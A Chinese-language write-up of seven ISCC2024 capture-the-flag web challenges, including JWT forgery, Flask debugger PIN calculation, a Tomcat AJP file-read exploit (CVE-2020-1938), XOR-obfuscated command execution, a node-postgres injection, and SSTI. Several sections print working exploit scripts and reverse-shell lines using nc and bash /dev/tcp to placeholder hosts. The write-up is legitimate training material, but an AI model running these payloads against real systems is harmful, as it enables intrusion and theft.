ISCC2024 Web部分题解

Doris Chan 2024-08-04 14:33:18 阅读 70

目录

Web1 还没想好名字的塔防游戏

Web2 Flask中的pin值计算

Web3 代码审计

Web4 原神启动

Web5 掉进阿帕奇的工资

Web6 这题我出不了了

Web7 回来吧永远滴神

Web1 还没想好名字的塔防游戏

1.打开靶机获取一个游戏

 2.先尝试玩几把游戏得到弹窗提示信息

3.根据弹窗提示全局搜索alert找源码,可以找到三条提示信息 

<code>Owls Sketch Shadows

Crystal Rivers Sing

Griffins Guard Galaxies

OSSCRSGGG

4.在网页里看到

<code>Mystic Defense War: The Secret of Guardian Towers and Magical Monsters

同样获取大写字母,组合起来就是Flag

ISCC{MDWTSGTMMOSSCRSGGG}

Web2 Flask中的pin值计算

1.打开靶机获取提示信息

2.Ctrl+u查看源码发现base64的编码的字符串,解码得到路径/getusername;

3.访问/getusername进入以下页面,通过不断的尝试最终发现输入“告诉我username“就可以拿到username值为:pincalculate

4.通过不断的测试,输入app之后会再给我们一个提示访问/crawler,出现了一个需要在1秒内计算的公式,使用脚本计算获取路径信息

5.查看网络请求可以发现,页面所需要计算的值是由/get_expression接口传过来的,那么就可以编写脚本来计算,观察experssion发现要对python运算符进行替换

<code>import json

import requests

text = requests.get("http://101.200.138.180:10006/get_expression").text

# 解析JSON字符串

data = json.loads(text)

# 提取表达式

expression = data["expression"]

# 将乘号和除号替换为Python的运算符

expression = expression.replace("\u00d7", "*")

expression = expression.replace("\u00f7", "/")

# 计算表达式的值

result = eval(expression)

# 打印结果

text = requests.get("http://101.200.138.180:10006/crawler?answer="+str(result)).text

print(text)

输出: 

/usr/local/lib/python3.11/site-packages/flask/app.py

uuidnode_mac位于/woddenfish

即获取到app.py绝对路径:/usr/local/lib/python3.11/site-packages/flask/app.py

6.访问接口/woddenfish,无论点击“敲击”多少次一直显示功德不足,查看一下源码拿到jwt,对jwt进行解密。

7.将解密后的donate换成gongde,然后quantity设置一个极大的值,根据源码得知jwt的key是ISCC_muyu_2024

8.用burpsuite抓包,替换Session后重放包得到响应,得到MAC 地址是: 02:42:ac:18:00:02,转换成十进制为2485378351106,下一步提示为/machine_id

<code>“Session”:“eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiZ29uZ2RlIiwicXVhbnRpdHkiOjEwMDAwMDAwMDAwMDAwMDAwfQ.n8_a10iVQh-pjbR7vs-kTGcTinX79xPTZTC5zlazHAU”

9.我们继续输入 /machine_id跟进分析,点击VIP会员奖品拿到一个jwt,点SUPERVIP会员奖品无法获取

10.解jwt得:

11.伪造jwt,修改role

<code>from json import loads, dumps

from jwcrypto.common import base64url_encode, base64url_decode

def topic(topic):

  [header, payload, signature] = topic.split('.')

  parsed_payload = loads(base64url_decode(payload))

  print(parsed_payload)

  parsed_payload["role"] = "vip"

  print(dumps(parsed_payload, separators=(',', ':')))

  fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))

  print(fake_payload)

  return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"} '

print(topic('eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTQ2NDQ3NjAsImlhdCI6MTcxNDY0MTE2MCwianRpIjoiUXpuLU1NN3djRjFzLVh4NlF2V3V0USIsIm5iZiI6MTcxNDY0MTE2MCwicm9sZSI6Im1lbWJlciIsInVzZXJuYW1lIjoiSVNDQ21lbWJlciJ9.ll_ExDrBzG-hU18i9yCZe6ALPAe0xFXbra6YbKxOWL5r8XBLDrBUxKTdDinDIxFVU6v69UhHmPrQYvKt0iwaxMDxX71h6XWk5PP0DiSc-IcPol-jJjOdDzjJosyEUzeTkxgD_8T55Y3AbPCligDkBq7HhBuz7yAzWRPZTJpXmfo_CVNdpmCSbriQ_FCYqVScwUZZe6RtD63Pqv_ge5RDWBrx4Lb-DDXLyxdwkibJCbr8A35uNLwv2Vlvx9MhcZANEZG3IrilQRh2n55w74gEyCxIhmXDcfRFSQLMupduP9RcRIAllqKKdXzxq97e0ERp8SnlaZA-W0co8lpAfNVPwA'))

使用构造好的jwt传参,/vipprice?token=得到的结果

可获得supervip的secret_key:welcome_to_iscc_club

12.使用https://github.com/noraj/flask-session-cookie-manager中的flask_session_cookie_manager3.py脚本伪造session

13.把构造好的payload替换掉原来的session之后即可获得machine_id为:acff8a1c-6825-4b9b-b8e1-8983ce1a8b94

14.至此已获取全部所需信息

<code>username:pincalculate

modname:flask.app

appname:Flask

app.py绝对路径:/usr/local/lib/python3.11/site-packages/flask/app.py

uuidnode mac:2485378351106

machine_id 机器码:acff8a1c-6825-4b9b-b8e1-8983ce1a8b94

15.使用以下脚本计算pin值:

import hashlib

from itertools import chain

probably_public_bits = [

  'pincalculate',

  'flask.app',

  'Flask',

  '/usr/local/lib/python3.11/site-packages/flask/app.py'

]

private_bits = [

  '2485378351106',

  'acff8a1c-6825-4b9b-b8e1-8983ce1a8b94'

]  

h = hashlib.sha1()

for bit in chain(probably_public_bits, private_bits):

  if not bit:

      continue

  if isinstance(bit, str):

      bit = bit.encode("utf-8")

  h.update(bit)

h.update(b"cookiesalt")

cookie_name = f"__wzd{h.hexdigest()[:20]}"

# If we need to generate a pin we salt it a bit more so that we don't

# end up with the same value and generate out 9 digits

num = None

if num is None:

  h.update(b"pinsalt")

  num = f"{int(h.hexdigest(), 16):09d}"[:9]

# Format the pincode in groups of digits for easier remembering if

# we don't have a result yet.

rv = None

if rv is None:

  for group_size in 5, 4, 3:

      if len(num) % group_size == 0:

          rv = "-".join(

              num[x : x + group_size].rjust(group_size, "0")

              for x in range(0, len(num), group_size)

          )

          break

  else:

      rv = num

print(rv)

16.得到pin值,访问http://101.200.138.180:10006/console?pin=252-749-991即可获取flag

Web3 代码审计

1.打开靶机Ctrl+u查看源码

<code>#! /usr/bin/env python

# encoding=utf-8

from flask import Flask

from flask import request

import hashlib

import urllib.parse

import os

import json

app = Flask(__name__)

secret_key = os.urandom(16)

class Task:

def __init__(self, action, param, sign, ip): #初始化任务并创建沙盒目录

self.action = action#要执行的操作

self.param = param#与操作相关的参数

self.sign = sign#用于验证请求的签名

self.sandbox = md5(ip)#基于请求者的 IP 地址生成的 MD5 哈希值创建的目录

if not os.path.exists(self.sandbox):

os.mkdir(self.sandbox)

def Exec(self):

result = {}

result['code'] = 500

if self.checkSign():#检查签名是否有效

if "scan" in self.action:#如果 action 包含 scan,执行扫描操作

resp = scan(self.param)#调用 scan 函数读取文件内容

if resp == "Connection Timeout":#检查是否出现连接超时

result['data'] = resp#将响应数据添加到结果中

else:#否则,处理正常响应

print(resp)#打印响应内容(只会打印在本地控制台,并不会显示在网页中)

self.append_to_file(resp)# 追加内容到已存在的文件

result['code'] = 200

if "read" in self.action:

result['code'] = 200

result['data'] = self.read_from_file() # 从已存在的文件中读取

if result['code'] == 500:

result['data'] = "Action Error"

else:

result['code'] = 500

result['msg'] = "Sign Error"

return result

def checkSign(self): #验证签名

if get_sign(self.action, self.param) == self.sign:

return True

else:

return False

@app.route("/geneSign", methods=['GET', 'POST'])

def geneSign():#基于提供的 param 和预定义的 action("scan")生成一个签名

param = urllib.parse.unquote(request.args.get("param", ""))

action = "scan"

return get_sign(action, param)

@app.route('/De1ta', methods=['GET', 'POST'])

def challenge():#根据存储在 cookie 和 get 参数中的 action 和 param 处理一个任务

action = urllib.parse.unquote(request.cookies.get("action"))

param = urllib.parse.unquote(request.args.get("param", ""))

sign = urllib.parse.unquote(request.cookies.get("sign"))

ip = request.remote_addr

if waf(param):

return "No Hacker!!!!"

task = Task(action, param, sign, ip)

return json.dumps(task.Exec())

@app.route('/')

def index():#显示 code.txt 文件的内容

return open("code.txt", "r").read()

def scan(param):

try:

with open(param, 'r') as file:

content = file.read()

return content

except FileNotFoundError:

return "The file does not exist"

def md5(content):

return hashlib.md5(content.encode()).hexdigest()

def get_sign(action, param):#基于 action、param 和密钥生成签名(哈希值)

return hashlib.md5(secret_key + param.encode('latin1') + action.encode('latin1')).hexdigest()

def waf(param):#参数过滤

check = param.strip().lower()

if check.startswith("gopher") or check.startswith("file"):

return True

else:

return False

if __name__ == '__main__':

app.debug = False

app.run()

2.该Flask 应用程序定义了三个路由:

/geneSign

基于从 get参数中获取的 param 和预定义的 action("scan")生成一个签名

/De1ta

通过cookie获取两个参数action和sign的值,通过get参数中获取参数param的值

创建一个 Task 实例,执行任务并返回结果的 JSON 字符串。

/

访问网站的根路径,调用 index 函数,读取并返回 code.txt 文件的内容

3.由题目可知:

(1)要想读取到flag,self.param应该等于flag.txt,

(2)cookies中的action+get参数中的param加密后要等于cookies中的sign

get_sign(self.action, self.param) == self.sign

md5(secert_key + flag.txt + action) = md5(secert_key + param + scan)

action=readscanparam=flag.txtread

4.首先用路由/geneSign中获取 if (getSign(self.action, self.param) == self.sign) 中sign的值,即构造payload /geneSign?param=flag.txtread

 5.然后构造cookie,然后给/De1ta路由的param参数传值为flag.txt就可以拿到最终的flag了

Web4 原神启动

1.打开靶机,Ctrl+u查看源码得到注释:<!-- 熊曰:呋食食既食眠人呆圖雜眠既和性達達嘶笨嗚咬堅很雜性哞呆蜂咯囑溫誒襲出物擊寶山肉很咬吃噤肉嚄擊笨喜蜜擊樣覺嗥家我嘿告嘶魚訴怎捕取襲 -->

 2.根据提示信息与熊论道,获取提示信息“草克制水”,则在首页面输入”草“属性

 3.进入许愿页面,直接输入flag,发现如下所示给了一个flag.txt

 4.访问flag.txt后拿到一个假的flag

 5.目录扫描获得路径/docs,访问进入页面获取Apache Tomcat版本为8.5.32,该版本存在CVE-2020-1938 Tomcat任意文件读取漏洞

 6.直接在github上获取脚本,使用python2环境执行命令,在WEB-INF/flag.txt下获得flag

<code>python2 CNVD-2020-10487-Tomcat-Ajp-1fi.py 101.200.138.180 -p 8009 -f WEB-INF/flag.txt

Web5 掉进阿帕奇的工资

1.打开靶机进入一个登录页面,注册账号然后登录,发现登陆失败,Ctrl+u查看源码,发现job被隐藏了

2.使用burpsuit传参抓包提交职位信息,新加一个参数job=admin,还是无法登录

 3.点击信息重置,通过安全问题信息重置,可以发现当前的身份就是manager了

 4.取得manager身份进行登录进入后台页面

 5.进入工资页面,测试发现基本工资与绩效进行异或得到预测结果

 6.根据异或特性,"]A" 与 "12" 的ASCII 码对应位进行异或得到 "ls",RCE可得到当前目录下的文件

 7.执行ls命令看到了一个Docfile文件,编写异或脚本生成“cat Docfile”字符串异或后的值,然后传值给web,可以看到Docfile里面的内容

<code>CH= "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789[]!@#$%^&*()_+-=:;"

def xor(a):

xor_payload=[]

for i in range(0,len(a)):

num1 = ord(a[i])^ord("1")

if chr(num1) not in CH:

xor_payload.append("a")

num1 = ord(a[i])^ord('a')

print(chr(num1),end="")code>

continue

print(chr(num1),end="")code>

xor_payload.append("1")

print("")

return "".join(xor_payload)

print(xor(f"cat Docfile"))

 

<code>secret.host:

image: nginx

container_name: secret.host

volumes:

- ./:/etc/nginx/conf.d/

8.由Docfile中的内容可以猜测flag在 http://secret.host/flag中

利用php -r来获取http://secret.host/flag的内容

payload:

php -r "echo file_get_contents('http://secret.host/flag');"

9.用脚本进行xor

 10.传值给web即可获取flag

Web6 这题我出不了了

1.打开靶机进入以下页面

 2.点击“关键信息”进入注册入口页面

3.对中间代码进行分析

导入 mysql 和 pg(PostgreSQL)的模块, pg 为7.0.2 版本。

对debug后的内容进行base64解密得到:

<code>fs.readFile('printFlag', 'utf8', (err, data) => {console.log(data);});

Node.js 读取名为 printFlag 的文件,并将其内容作为字符串传递给回调函数的 data 参数。

如果读取文件过程中没有错误,回调函数会将文件内容打印到控制台。

const mysql = require("mysql");

const pg = require("pg"); // use pg@7.0.2

// WAF

const WAFWORDS = ["select", "union", "and", "or", "delete", "drop", "create", "alter", "truncate", "exec", "xp_cmdshell", "insert", "update", "sp_", "having", "exec master", "net user", "xp_", "waitfor", "information_schema","table_schema", "sysobjects", "version", "group_concat", "concat", "distinct", "sysobjects", "user", "schema_name", "column_name", "table_name", "\", "/", "*", " ", ";", "--", "(", ")", "'", """, "=", "<", ">", "!=", "<>", "<=", ">=", "||", "+", "-", ",", ".", "[", "]", ":", "||", "*/", "/*", "_", "%"]

//定义一个包含WAF敏感词的数组,检测和阻止SQL注入攻击和其他恶意输入

// debug:

// ZnMucmVhZEZpbGUoJ3ByaW50RmxhZycsICd1dGY4JywgKGVyciwgZGF0YSkgPT4gew==

// Y29uc29sZS5sb2coZGF0YSk7

// fSk7

 4.在此利用node-postgreSQL的漏洞,使用官方脚本,执行远程代码,执行反弹shell命令。

参考:node.js + postgres 从注入到Getshell | 离别歌

<code>from random import randint

import requests

# payload = "union"

payload = """','')/*%s*/returning(1)as"\\'/*",(1)as"\\'*/-(a=`child_process`)/*",(2)as"\\'*/-(b=`/printFlag|nc ip port`)/*",(3)as"\\'*/-console.log(process.mainModule.require(a).exec(b))]=1//"--""" % (' '*1024*1024*16)

username = str(randint(1, 65535))+str(randint(1, 65535))+str(randint(1, 65535))

data = {

'username': username+payload,

'password': 'AAAAAA'

}

print 'ok'

r = requests.post('http://101.200.138.180:32031/register_7D85tmEhhAdgGu92', data=data);

print r.content

5.同时服务器端使用nc监听端口,即可获得flag

Web7 回来吧永远滴神

1.打开靶机进入以下页面,进行搜索获取相应内容,进行填空

 

 

 2.输入正确答案提交之后,进入隐藏关卡

 3.Ctrl+u查看源码,发现一段base64的编码的字符串,进行解密获得部分flag

 

 4.在隐藏关卡,随便输入“123”后显示:神说:大胆!,输入“{% print ttt %}”后报出其他内容,推测此处是模板注入SSTI,且存在waf

 

 5.使用python的fenjing模块跑脚本,在不获取waf黑名单的情况下生成payload

<code>import functools

import time

import requests

from fenjing import exec_cmd_payload

url= "http://101.200.138.180:16356/evlelLL/646979696775616e"

cookies = {

'session': 'eyJhbnN3ZXJzX2NvcnJlY3QiOnRydWV9.Zkmt4Q.XGnpAgOO8SdAGpgFxhEbKMqzTiM'

}

@functools.lru_cache(1000)

def waf(payload: str):# 如果字符串s可以通过waf则返回True, 否则返回False

time.sleep(0.02) # 防止请求发送过多

resp = requests.post(url, cookies=cookies, timeout=10,data={"iIsGod": payload})

return "BAD" not in resp.text

if __name__ == "__main__":

shell_payload, will_print = exec_cmd_payload(

waf, 'bash -c "bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/2336 0>&1"')

if not will_print:

print("这个payload不会产生回显!")

print(f"{shell_payload=}")

 6.服务器端使用nc监听端口,使用构造好的payload输入到隐藏关卡页面的输入框,反弹成功,可查看flag[1]和flag[2]源码

 

 7.查看app.py源码,分析代码的加密逻辑,写出解密flag[3]的脚本

<code>from Crypto.Util.Padding import unpad

from Crypto.Util.number import bytes_to_long as b2l, long_to_bytes as l2b

from enum import Enum

class Mode(Enum):

ECB = 0x01

CBC = 0x02

CFB = 0x03

class Cipher:

def __init__(self, key, iv=None):

self.BLOCK_SIZE = 64

self.KEY = [b2l(key[i:i + self.BLOCK_SIZE // 16]) for i in range(0, len(key), self.BLOCK_SIZE // 16)]

self.DELTA = 0x9e3779b9

self.IV = iv

self.ROUNDS = 64

if self.IV:

self.mode = Mode.CBC if iv else Mode.ECB

if len(self.IV) * 8 != self.BLOCK_SIZE:

self.mode = Mode.CFB

def _xor(self, a, b):

return b''.join(bytes([_a ^ _b]) for _a, _b in zip(a, b))

def decrypt_block(self, ct):

msk = (1 << (self.BLOCK_SIZE // 2)) - 1

c0 = b2l(ct[:4])

c1 = b2l(ct[4:])

s = (self.DELTA * self.ROUNDS) & msk

for i in range(self.ROUNDS):

c1 -= ((c0 << 4) + self.KEY[(self.ROUNDS - i - 1 + 2) % len(self.KEY)]) ^ (c0 + s) ^ ((c0 >> 5) + self.KEY[(self.ROUNDS - i - 1 + 3) % len(self.KEY)])

c1 &= msk

c0 -= ((c1 << 4) + self.KEY[(self.ROUNDS - i - 1) % len(self.KEY)]) ^ (c1 + s) ^ ((c1 >> 5) + self.KEY[(self.ROUNDS - i - 1 + 1) % len(self.KEY)])

c0 &= msk

s -= self.DELTA

return l2b((c0 << (self.BLOCK_SIZE // 2)) | c1)

def encrypt_block(self, msg):

m0 = b2l(msg[:4])

m1 = b2l(msg[4:])

msk = (1 << (self.BLOCK_SIZE // 2)) - 1

s = 0

for i in range(self.ROUNDS):

s += self.DELTA

m0 += ((m1 << 4) + self.KEY[i % len(self.KEY)]) ^ (m1 + s) ^ ((m1 >> 5) + self.KEY[(i + 1) % len(self.KEY)])

m0 &= msk

m1 += ((m0 << 4) + self.KEY[(i + 2) % len(self.KEY)]) ^ (m0 + s) ^ ((m0 >> 5) + self.KEY[(i + 3) % len(self.KEY)])

m1 &= msk

return l2b((m0 << (self.BLOCK_SIZE // 2)) | m1)

def decrypt(self, ct):

blocks = [ct[i:i + self.BLOCK_SIZE // 8] for i in range(0, len(ct), self.BLOCK_SIZE // 8)]

pt = b''

if self.mode == Mode.ECB:

for ct_block in blocks:

pt += self.decrypt_block(ct_block)

elif self.mode == Mode.CBC:

X = self.IV

for ct_block in blocks:

dec_block = self.decrypt_block(ct_block)

pt_block = self._xor(X, dec_block)

pt += pt_block

X = ct_block

elif self.mode == Mode.CFB:

X = self.IV

for ct_block in blocks:

output = self.encrypt_block(X)

pt_block = self._xor(output, ct_block)

pt += pt_block

X = ct_block

return unpad(pt, self.BLOCK_SIZE // 8)

if __name__ == '__main__':

# Provided KEY and IV in hexadecimal format

KEY = bytes.fromhex('xxx')

IV = bytes.fromhex('xxx')

CIPHERTEXT = bytes.fromhex('xxx')

cipher = Cipher(KEY, IV)

decrypted_message = cipher.decrypt(CIPHERTEXT)

print(f'Decrypted message: {decrypted_message}')

8.将上述几段flag进行结合得到

<code>I{DSK6Fj7cSHvVBCB9XaC5f_Y*4CI6CFCYm6Gs*}

9.对结合得到的字符串进行栅栏枚举解密即可得到flag



声明

本文内容仅代表作者观点,或转载于其他网站,本站不以此文作为商业用途
如有涉及侵权,请联系本站进行删除
转载本站原创文章,请注明来源及作者。